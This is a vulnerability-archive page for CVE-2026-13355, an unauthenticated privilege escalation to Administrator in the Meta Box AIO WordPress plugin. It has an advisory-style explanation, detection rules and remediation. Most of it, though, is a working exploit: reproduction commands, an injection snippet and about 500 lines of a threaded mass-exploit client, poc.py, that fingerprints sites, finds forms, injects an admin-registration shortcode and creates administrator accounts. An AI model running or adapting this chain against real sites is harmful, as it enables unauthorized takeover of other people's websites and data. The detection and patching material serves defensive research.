PoC Archive PoC Archive
CVE-2026-13355 category: web CVSS 9.8 (CRITICAL)
Patched

Meta Box AIO — Unauthenticated Administrator Privilege Escalation (CVE-2026-13355)

Published: 2026-11-25 • Researcher: murrez (PoC repository); h0xilo / Wordfence (discovery and advisory)

Target software Meta Box AIO bundle for WordPress (bundled mb-frontend-submission and mb-user-profile extensions)
Affected versions Meta Box AIO ≤ 3.11.0; MB Frontend Submission ≤ 4.5.6; MB User Profile ≤ 3.11.0. Fixed in Meta Box AIO 3.12.0 (authorization added to form processing)
Status PoC
Severity Critical · CVSS 9.8
CVSS 9.8/10
Severity
Critical
CVE
CVE-2026-13355
Category
web
Affected product
Meta Box AIO bundle for WordPress (bundled mb-frontend-submission and mb-user-profile extensions)
Affected versions
Meta Box AIO ≤ 3.11.0; MB Frontend Submission ≤ 4.5.6; MB User Profile ≤ 3.11.0. Fixed in Meta Box AIO 3.12.0 (authorization added to form processing)
Disclosed
2026-11-25
Patch status
Patched
On this page

Metadata

FieldValue
Date Added2026-11-25
Last Updated2026-09-22
Author / Researchermurrez (PoC repository); h0xilo / Wordfence (discovery and advisory)
CVE / AdvisoryCVE-2026-13355
Categoryweb
SeverityCritical
CVSS Score9.8 (CVSSv3.1, CWE-269); full vector not included in the worklist data — see NVD
StatusPoC
TagsWordPress, privilege-escalation, unauthenticated, shortcode-injection, Meta Box AIO, MB Frontend Submission, MB User Profile, CMS, content-injection, admin-account
RelatedN/A

Affected Target

FieldValue
Software / SystemMeta Box AIO bundle for WordPress (bundled mb-frontend-submission and mb-user-profile extensions)
Versions AffectedMeta Box AIO ≤ 3.11.0; MB Frontend Submission ≤ 4.5.6; MB User Profile ≤ 3.11.0. Fixed in Meta Box AIO 3.12.0 (authorization added to form processing)
Language / PlatformPHP (WordPress plugin); Python 3.8+ exploit client
Authentication RequiredNo
Network Access RequiredYes

Summary

The Meta Box AIO plugin bundle for WordPress is vulnerable to unauthenticated privilege escalation to Administrator in versions up to and including 3.11.0. The mb-frontend-submission component lets the GET parameter rwmb frontend field object id override the target object of a form without an authorization check, and the form processing routine omits the edit capability check that the render path performs, so an unauthenticated request can overwrite the post content of any page or post with an arbitrary shortcode through the WordPress update post API. The mb-user-profile component then trusts the role and auto login attributes of the injected mb user profile register shortcode without validating the requested role, which creates an Administrator account and logs the attacker in. The standalone Meta Box Frontend Submission (up to 4.5.6) and Meta Box User Profile (up to 3.11.0) plugins are also affected.

Vulnerability Details

Root Cause

Improper privilege management (CWE-269) caused by a chain of two trust failures in the Meta Box AIO bundle:

  1. In the mb-frontend-submission component, populate_via_query_string() unconditionally overrides the form’s target object_id from the GET parameter rwmb_frontend_field_object_id, with no authorization check on the requested post. Separately, Form::process() lacks the user_can_edit() check that is present in render(), so a submission is written with wp_update_post() even when the requester has no edit rights on the target object.
  2. In the mb-user-profile component, the [mb_user_profile_register] shortcode directly trusts its role and auto_login attributes with no allow-list or capability validation, so any role name supplied in shortcode attributes is applied to the newly registered user.

Because the first flaw permits writing arbitrary shortcode content into a page, the second flaw can be reached by an unauthenticated visitor.

Attack Vector

Unauthenticated HTTP requests against a site that exposes a public mb-frontend-submission (mbfs) form:

  1. GET the frontend form page with ?rwmb_frontend_field_object_id=<target post id> so the form is populated for an arbitrary post the attacker does not own.
  2. POST the form with post_content set to [mb_user_profile_register role="administrator" auto_login="true"], causing wp_update_post() to overwrite that page’s content.
  3. Request the poisoned page so the injected shortcode renders, then submit the registration fields to create an Administrator account (auto-login enabled).

The chain does not work against pages that only expose mb-user-profile login or registration UI; it requires an mbfs form whose submission actually writes post_content.

Impact

An unauthenticated remote attacker can create an Administrator account on the WordPress site, leading to full site takeover: content and user manipulation, plugin/theme installation or editing, access to stored data and secrets, and a common path to remote code execution through the theme/plugin editor or uploaded code. The upstream advisory rates this 9.8 Critical.

Environment / Lab Setup

Output
OS:          Linux (any host able to run WordPress); Python 3.8+ attacker host
Target:      WordPress with Meta Box AIO <= 3.11.0 (or MB Frontend Submission
             <= 4.5.6 + MB User Profile <= 3.11.0), plus at least one public
             frontend submission form (mbfs) that writes post_content
Attacker:    Python 3.8+ with requests (no browser required)
Tools:       python3, requests; optionally curl/Burp Suite to inspect the chain

Setup Steps

Shell script
1
2
3
pip install -r requirements.txt

python3 poc.py -u http://lab.local --mode check

Proof of Concept

Step-by-Step Reproduction

  1. Fingerprint the target — confirm the Meta Box AIO plugin is present and at or below 3.11.0; check mode also reports whether an mbfs form exists.

    Shell script
    1
    
    python3 poc.py -u http://lab.local --mode check
  2. Confirm the writable form and object ID — locate a page with an mbfs form and the ID of the post to overwrite (the page’s own page-id works in the reference flow).

    Shell script
    1
    
    python3 poc.py -u http://lab.local --mode check --paths /contact/ /submit/
  3. Run the exploit chain — the client poisons post_content through the form and then registers the Administrator account.

    Shell script
    1
    2
    
    python3 poc.py -u http://lab.local --mode exploit \
      --form-url /contact/ --object-id 12 --verify
  4. Inspect the result — on success the console prints an OWNED line and the run is recorded in the JSONL log with the poison and register steps.

    Shell script
    1
    
    cat cve_2026_13355_results.jsonl
  5. Verify access — the client checks /wp-admin/ for an authenticated session or falls back to /wp-login.php with the generated credentials.

Exploit Code

See poc.py — the relevant functions are poison_post_content() (step 1/2 of the chain), register_admin() (step 3) and verify_admin_session() / verify_login() (verification). The upstream README is archived as upstream-README.md.

Python
1
2
3
4
5
6
7
8
9
SHORTCODE = '[mb_user_profile_register role="administrator" auto_login="true"]'

post(form_url + "?rwmb_frontend_field_object_id=" + str(object_id),
     data={"post_content": SHORTCODE})

register_page = page_url + "?rwmb_frontend_field_object_id=" + str(object_id)

post(register_page, data={"user_login": user, "user_email": email,
                          "user_pass": password})

Expected Output

Output
1
2
[*] CVE-2026-13355 mass exploit | targets=1 | threads=1 | flow=on
[+] OWNED http://lab.local | user=xxxx | pass=... | oid=12

The JSONL record contains "exploited": true with the poison step reporting verified_content: true (or rwmb_form_submitted: true) and the register step reporting admin: true. The upstream repository does not publish a captured lab run, so the exact output depends on the target configuration — see references.

Detection & Indicators of Compromise

  • HTTP requests to a frontend page with the query parameter rwmb_frontend_field_object_id= pointing at a post ID the visitor does not own, especially repeated on the same page.
  • POST bodies to frontend form endpoints containing post_content and the string mb_user_profile_register with role="administrator" or auto_login="true".
  • New WordPress users with the administrator role created from a frontend registration page, particularly accounts registered within seconds of an mbfs form submission.
  • WordPress audit or debug logs showing wp_update_post content changes on pages that the acting session cannot edit, or revision history where a page’s content suddenly contains a registration shortcode.
  • Web server/WAF 403 responses on the POST step often indicate a blocked attempt; repeated 403s followed by successful registration attempts are suspicious.

Example access-log pattern:

Output
1
2
3
"GET /contact/?rwmb_frontend_field_object_id=12 HTTP/1.1" 200
"POST /contact/?rwmb_frontend_field_object_id=12 HTTP/1.1" 200
"GET /contact/?rwmb_frontend_field_object_id=12 HTTP/1.1" 200

SIEM / IDS rule (example):

Output
1
2
alert http any any -> any any (msg:"CVE-2026-13355 Meta Box AIO object_id override"; \
  content:"rwmb_frontend_field_object_id"; http_uri; sid:9013355;)
Output
1
2
3
alert http any any -> any any (msg:"CVE-2026-13355 admin registration shortcode"; \
  content:"mb_user_profile_register"; http_client_body; \
  content:"administrator"; http_client_body; sid:9013356;)

Remediation

ActionDetail
PatchUpgrade Meta Box AIO to 3.12.0 or later; if the extensions are installed standalone, update MB Frontend Submission above 4.5.6 and MB User Profile above 3.11.0.
WorkaroundRemove or disable public frontend submission forms that write post_content until patched, and avoid exposing mb-user-profile registration forms to anonymous visitors.
Config HardeningRestrict Administrator creation to known administrators, enable WordPress audit logging for wp_update_post and user-role changes, keep a WAF rule on rwmb_frontend_field_object_id abuse, and monitor frontend forms for injected shortcodes.

References

Notes

Auto-ingested from https://github.com/murrez/CVE-2026-13355 on 2026-11-25.

Review verdict: ingested as a PoC. The repository is dual-use — it has a check mode that fingerprints the plugin and discovers forms, but its exploit mode contains the actual chain (poison_post_content() writing an arbitrary shortcode into a page via the object-id override, followed by register_admin() creating an Administrator account), so it is not a pure detector and was accepted. The mass-scan wrapper is convenience tooling around the same exploit path.

License: MIT (see LICENSE); the archived poc.py carries an added authorized-research header.

Limitations: the upstream repository does not include a captured successful lab run, so this is treated as a PoC rather than Weaponized — success depends on the site exposing a public mbfs form whose submission actually writes post_content; contact/newsletter forms often lack that field, and injected shortcodes may be stripped by KSES or a security plugin. Many plugin-fingerprint hits expose only mb-user-profile login/registration UI (plugin_mbup_only) and are not exploitable through this chain. HTTP 403 on the POST step usually means a WAF or host is blocking the request. The helper fofa_to_list.py (FOFA export normalization for mass targeting) was deliberately not copied; only the exploit client, its requirements, target-list example, license and upstream README were archived. The PoC was not executed by the archivist. Use only against systems you own or have written authorization to test.

poc.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Archived for authorized security research only.
# Source: https://github.com/murrez/CVE-2026-13355 (see README for attribution/license)
"""
CVE-2026-13355 - Meta Box AIO <= 3.11.0 (MB Frontend Submission <= 4.5.6)
Unauthenticated privilege escalation to administrator via chained frontend form abuse
and [mb_user_profile_register role="administrator" auto_login="true"] injection.
"""

from __future__ import annotations

import argparse
import json
import random
import re
import string
import sys
import threading
import time
from concurrent.futures import FIRST_COMPLETED, ThreadPoolExecutor, wait
from html import unescape
from urllib.parse import parse_qs, urlencode, urlparse, urlunparse

try:
    import urllib3
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
except Exception:
    pass

import requests
from requests.adapters import HTTPAdapter

UA = (
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) "
    "AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"
)

PLUGIN_SLUG = "meta-box-aio"
MAX_AIO_VERSION = (3, 11, 0)
MAX_MBFS_VERSION = (4, 5, 6)
MAX_MBUP_VERSION = (3, 11, 0)

OBJECT_ID_QS = "rwmb_frontend_field_object_id"
INJECT_SHORTCODE = '[mb_user_profile_register role="administrator" auto_login="true"]'

DEFAULT_PATHS = (
    "/",
    "/contact/",
    "/register/",
    "/registration/",
    "/signup/",
    "/sign-up/",
    "/submit/",
    "/submission/",
    "/add-post/",
    "/dashboard/",
    "/profile/",
    "/login/",
    "/membership/",
    "/blog/",
)

FRONTEND_MARKERS = (
    "mb_frontend_form",
    "mb-frontend-form",
    "rwmb-frontend",
    "mb-frontend-submission",
    "rwmb-form",
    "rwmb_frontend_field_object_id",
)

REGISTER_MARKERS = (
    "mb_user_profile_register",
    "mb-user-profile-register",
    "rwmb-profile-register",
    "nonce_rwmb-user-register",
    'id="register-form"',
)

print_lock = threading.Lock()


def log(msg):
    with print_lock:
        print(msg, flush=True)


def mk_session(timeout, proxy=None):
    s = requests.Session()
    s.headers.update({"User-Agent": UA})
    adapter = HTTPAdapter(max_retries=0, pool_connections=30, pool_maxsize=30)
    s.mount("http://", adapter)
    s.mount("https://", adapter)
    if proxy:
        s.proxies.update({"http": proxy, "https": proxy})
    s.verify = False
    s.request_timeout = timeout
    return s


def get(s, url, **kw):
    kw.setdefault("timeout", s.request_timeout)
    kw.setdefault("verify", False)
    kw.setdefault("allow_redirects", True)
    return s.get(url, **kw)


def post(s, url, **kw):
    kw.setdefault("timeout", s.request_timeout)
    kw.setdefault("verify", False)
    kw.setdefault("allow_redirects", True)
    return s.post(url, **kw)


def normalize_base(raw):
    raw = (raw or "").strip()
    if not raw or raw.startswith("#"):
        return None
    if "://" not in raw:
        raw = "https://" + raw
    p = urlparse(raw)
    if not p.netloc:
        return None
    scheme = p.scheme if p.scheme in ("http", "https") else "https"
    return "%s://%s" % (scheme, p.netloc)


def resolve_page_url(base, raw):
    if not raw:
        return None
    raw = raw.strip()
    if raw.startswith(("http://", "https://")):
        return raw
    if not raw.startswith("/"):
        raw = "/" + raw
    return base.rstrip("/") + raw


def parse_version_tuple(text):
    if not text:
        return None
    patterns = [
        r"Stable tag:\s*([0-9]+(?:\.[0-9]+)*)",
        r"Version:\s*([0-9]+(?:\.[0-9]+)*)",
    ]
    for pat in patterns:
        m = re.search(pat, text, re.I)
        if m:
            parts = []
            for x in m.group(1).split("."):
                try:
                    parts.append(int(x))
                except ValueError:
                    break
            if parts:
                return tuple(parts)
    return None


def version_le(a, b):
    if not a:
        return False
    n = max(len(a), len(b))
    av = a + (0,) * (n - len(a))
    bv = b + (0,) * (n - len(b))
    return av <= bv


def plugin_probe_urls(base):
    root = base.rstrip("/") + "/wp-content/plugins"
    return [
        ("meta-box-aio", root + "/meta-box-aio/meta-box-aio.php"),
        ("meta-box-aio", root + "/meta-box-aio/readme.txt"),
        ("mb-frontend-submission", root + "/mb-frontend-submission/mb-frontend-submission.php"),
        ("mb-user-profile", root + "/mb-user-profile/mb-user-profile.php"),
    ]


def detect_plugin(s, base, timeout):
    out = {
        "plugin": False,
        "version": None,
        "vulnerable": False,
        "patched": False,
        "components": [],
    }
    versions = {}
    for slug, url in plugin_probe_urls(base):
        try:
            r = get(s, url, timeout=timeout)
        except requests.RequestException:
            continue
        if r.status_code != 200:
            continue
        body = r.text or ""
        if slug not in body.lower() and "meta box" not in body and "Plugin Name" not in body:
            if not url.endswith(".php"):
                continue
        ver = parse_version_tuple(body)
        if ver:
            versions[slug] = ver
            out["components"].append({"slug": slug, "version": ".".join(str(x) for x in ver)})

    aio = versions.get("meta-box-aio")
    mbfs = versions.get("mb-frontend-submission")
    mbup = versions.get("mb-user-profile")

    if aio:
        out["plugin"] = True
        out["version"] = ".".join(str(x) for x in aio)
        if version_le(aio, MAX_AIO_VERSION):
            out["vulnerable"] = True
        else:
            out["patched"] = True
        return out

    if mbfs or mbup:
        out["plugin"] = True
        vuln = False
        if mbfs and version_le(mbfs, MAX_MBFS_VERSION):
            vuln = True
            out["version"] = ".".join(str(x) for x in mbfs)
        if mbup and version_le(mbup, MAX_MBUP_VERSION):
            vuln = True
            if not out["version"]:
                out["version"] = ".".join(str(x) for x in mbup)
        out["vulnerable"] = vuln
        if not vuln:
            out["patched"] = True
        return out

    # Fingerprint assets without readable version
    asset_urls = [
        base.rstrip("/") + "/wp-content/plugins/meta-box-aio/assets/",
        base.rstrip("/") + "/wp-content/plugins/mb-frontend-submission/assets/",
    ]
    for url in asset_urls:
        try:
            r = get(s, url, timeout=timeout)
        except requests.RequestException:
            continue
        if r.status_code in (200, 403):
            out["plugin"] = True
            out["vulnerable"] = True
            break

    return out


def has_frontend_markers(html):
    if not html:
        return False
    low = html.lower()
    return any(m in low for m in FRONTEND_MARKERS)


def has_register_markers(html):
    if not html:
        return False
    low = html.lower()
    return any(m in low for m in REGISTER_MARKERS)


def extract_wp_object_id(html):
    if not html:
        return None
    patterns = [
        r'\bpage-id-(\d+)\b',
        r'\bpostid-(\d+)\b',
    ]
    for pat in patterns:
        m = re.search(pat, html, re.I)
        if m:
            pid = int(m.group(1))
            if pid > 0:
                return pid
    return None


def classify_form(form):
    names = set(form.get("field_names") or [])
    html = (form.get("html") or "").lower()
    if "mbfs_key" in names or "mbfs-form" in html:
        return "mbfs"
    if "mbup_key" in names or "mbup-form" in html:
        return "mbup"
    return "other"


def select_mbfs_form(forms):
    """CVE chain needs MB Frontend Submission (mbfs), not login-only mbup."""
    mbfs = [f for f in forms if classify_form(f.get("form") or {}) == "mbfs"]
    if not mbfs:
        return None
    mbfs.sort(
        key=lambda f: (
            0 if f["form"].get("has_post_content") else 1,
            f.get("page_url") or "",
        )
    )
    return mbfs[0]


def with_object_id(url, object_id):
    p = urlparse(url)
    q = parse_qs(p.query, keep_blank_values=True)
    q[OBJECT_ID_QS] = [str(object_id)]
    return urlunparse(p._replace(query=urlencode(q, doseq=True)))


def content_view_urls(base, object_id):
    b = base.rstrip("/")
    return [
        b + "/?p=%d" % object_id,
        b + "/?page_id=%d" % object_id,
    ]


def extract_rwmb_forms(html):
    if not html:
        return []
    forms = []
    for m in re.finditer(r"<form\b[^>]*>.*?</form>", html, re.I | re.S):
        chunk = m.group(0)
        low = chunk.lower()
        if not any(x in low for x in ("rwmb", "frontend", "mb-frontend", "meta-box")):
            continue
        action_m = re.search(r'action=["\']([^"\']*)["\']', chunk, re.I)
        method_m = re.search(r'method=["\']([^"\']*)["\']', chunk, re.I)
        action = unescape(action_m.group(1)) if action_m else ""
        method = (method_m.group(1) if method_m else "post").lower()
        fields = {}
        names = []
        for inp in re.finditer(
            r'<(?:input|textarea|select)\b[^>]*\bname=["\']([^"\']+)["\'][^>]*>',
            chunk,
            re.I,
        ):
            name = inp.group(1)
            if name.endswith("[]"):
                continue
            names.append(name)
            tag = inp.group(0)
            type_m = re.search(r'type=["\']([^"\']+)["\']', tag, re.I)
            typ = (type_m.group(1).lower() if type_m else "text").lower()
            val_m = re.search(r'value=["\']([^"\']*)["\']', tag, re.I)
            if typ in ("hidden", "submit", "button"):
                fields[name] = unescape(val_m.group(1)) if val_m else ""
            elif typ == "checkbox":
                fields[name] = "1"
        has_content = "post_content" in names or any("content" in n.lower() for n in names)
        item = {
            "action": action,
            "method": method,
            "fields": fields,
            "field_names": names,
            "has_post_content": has_content,
            "html": chunk[:4000],
        }
        item["kind"] = classify_form(item)
        forms.append(item)
    return forms


def extract_mbfs_form_html(html):
    if not html:
        return None
    for m in re.finditer(r"<form\b[^>]*>.*?</form>", html, re.I | re.S):
        chunk = m.group(0)
        if "mbfs-form" in chunk.lower() or "mbfs_key" in chunk.lower():
            return chunk
    return None


def extract_submit_fields(form_html):
    out = {}
    if not form_html:
        return out
    for tag in re.findall(r"<(?:input|button)\b[^>]+>", form_html, re.I):
        if not re.search(r'type=["\']submit["\']', tag, re.I):
            continue
        n = re.search(r'name=["\']([^"\']+)["\']', tag, re.I)
        v = re.search(r'value=["\']([^"\']*)["\']', tag, re.I)
        if n:
            out[n.group(1)] = v.group(1) if v else "Submit"
    return out


def poison_applied(html, shortcode):
    if not html:
        return False
    if shortcode in html:
        return True
    low = html.lower()
    if "mb_user_profile_register" in low and 'role="administrator"' in html:
        return True
    if "nonce_rwmb-user-register" in low and "mbup-form" in low:
        return True
    return False


def find_register_page(s, base, form_page, object_id, shortcode, timeout):
    candidates = []
    seen = set()
    for cand in [form_page] + content_view_urls(base, object_id):
        if cand and cand not in seen:
            seen.add(cand)
            candidates.append(cand)
    for cand in candidates:
        try:
            r = get(s, cand, timeout=timeout)
        except requests.RequestException:
            continue
        if r.status_code == 200 and (
            has_register_markers(r.text) or poison_applied(r.text, shortcode)
        ):
            return r.url, r.text
    return form_page, ""


def discover_frontend_forms(s, base, paths, timeout, max_pages=14):
    results = []
    seen_urls = set()
    for path in paths:
        if len(seen_urls) >= max_pages:
            break
        url = resolve_page_url(base, path)
        if not url or url in seen_urls:
            continue
        seen_urls.add(url)
        try:
            r = get(s, url, timeout=timeout)
        except requests.RequestException:
            continue
        if r.status_code != 200 or not has_frontend_markers(r.text):
            continue
        forms = extract_rwmb_forms(r.text)
        if not forms:
            forms = [{
                "action": "",
                "method": "post",
                "fields": {},
                "field_names": [],
                "has_post_content": "post_content" in (r.text or "").lower(),
                "html": "",
            }]
        page_id = extract_wp_object_id(r.text)
        for form in forms:
            results.append({
                "page_url": r.url,
                "page_id": page_id,
                "form": form,
            })
    return results


def resolve_form_action(base, page_url, action):
    if not action or action in ("#", ""):
        return page_url
    if action.startswith(("http://", "https://")):
        return action
    if action.startswith("/"):
        return base.rstrip("/") + action
    return page_url.rsplit("/", 1)[0] + "/" + action


def guess_register_fields(html):
    names = []
    for m in re.finditer(
        r'<(?:input|textarea|select)\b[^>]*\bname=["\']([^"\']+)["\']',
        html or "",
        re.I,
    ):
        names.append(m.group(1))
    login = email = password = confirm = None
    for name in names:
        low = name.lower()
        if not login and any(x in low for x in ("user_login", "username", "log")):
            login = name
        if not email and "email" in low:
            email = name
        if not password and any(x in low for x in ("user_pass", "password", "pwd")):
            if any(x in low for x in ("2", "confirm", "repeat", "again")):
                confirm = confirm or name
            elif not password:
                password = name
    if not login:
        for name in names:
            if "user" in name.lower() and "email" not in name.lower():
                login = name
                break
    return {
        "login": login,
        "email": email,
        "password": password,
        "confirm": confirm,
        "all_fields": names,
    }

Showing 500 of 1201 lines View full file on GitHub →